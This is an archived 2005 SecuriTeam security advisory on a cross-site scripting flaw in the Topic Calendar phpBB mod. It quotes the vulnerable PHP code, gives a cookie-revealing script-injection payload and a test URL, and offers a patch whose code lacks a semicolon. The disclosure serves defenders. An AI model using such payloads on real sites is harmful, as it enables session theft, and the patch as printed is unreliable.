[UNIX] Topic Calendar Cross Site Scripting

From: SecuriTeam (support_at_securiteam.com)
Date: 03/24/05

  • Next message: SecuriTeam: "[UNIX] Interspire ArticleLive 2005 XSS"
    To: list@securiteam.com
    Date: 24 Mar 2005 19:39:02 +0200
    
    

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Topic Calendar Cross Site Scripting
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.phpbb.com/phpBB/viewtopic.php?t=150857> Topic Calendar is "a
    quite widespread MOD for phpBB all version that will add a calendar to the
    board, using topics as event. The authorizations are managed at forums,
    groups and users level, as the standard phpBB authorizations".

    Due to poor sanitization of the 'start' parameter of Topic Calendar's
    calendar_scheduler.php script a remote attacker can insert arbitrary HTML
    and/or JavaScript into the response returned by the server.

    DETAILS

    Vulnerable Systems:
     * Topic Calendar version 1.0.1

    Vulnerable code:
    Let's look at code from calendar_scheduler.php at line 82:
       <?
       ...
       if ( isset($HTTP_POST_VARS['start']) || isset($HTTP_GET_VARS['start'])
    )
       {
         $start = isset($HTTP_POST_VARS['start']) ? $HTTP_POST_VARS['start'] :
    $HTTP_GET_VARS['start'];
       }
       ...
       ?>

    and at line 375:

       <?
       ...
       $s_hidden_fields .= '<input type="hidden" name="start" value="' .
    $start. '" />';
       ...
       ?>

    As can be seen the $start variable is controlled by a remote user, and as
    can be seen there isn't any control of the value that is inserted into the
    return HTML. Therefore, anyone can inject some HTML code like:
       "><script>alert(document.cookie)</script>

    That will incorporate into:
       <input type="hidden"
    name="start"value=""><script>alert(document.cookie)</script>" />

    Exploit:
    The following URL can be used to test the vulnerability:
    http://www.example.com/phpbb/calendar_scheduler.php?start=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

    Unofficial patch:
    To fix the XSS bug we can use the function intval() at line 85 of
    calendar_scheduler.php:
       <?
       ...
       if ( isset($HTTP_POST_VARS['start']) || isset($HTTP_GET_VARS['start'])
    )
       {
         $start = isset($HTTP_POST_VARS['start']) ? $HTTP_POST_VARS['start'] :
    $HTTP_GET_VARS['start'];
         $start = intval($start)
       }
       ...
       ?>

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:trivero@jumpy.it> Alberto
    Trivero.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[UNIX] Interspire ArticleLive 2005 XSS"

    Relevant Pages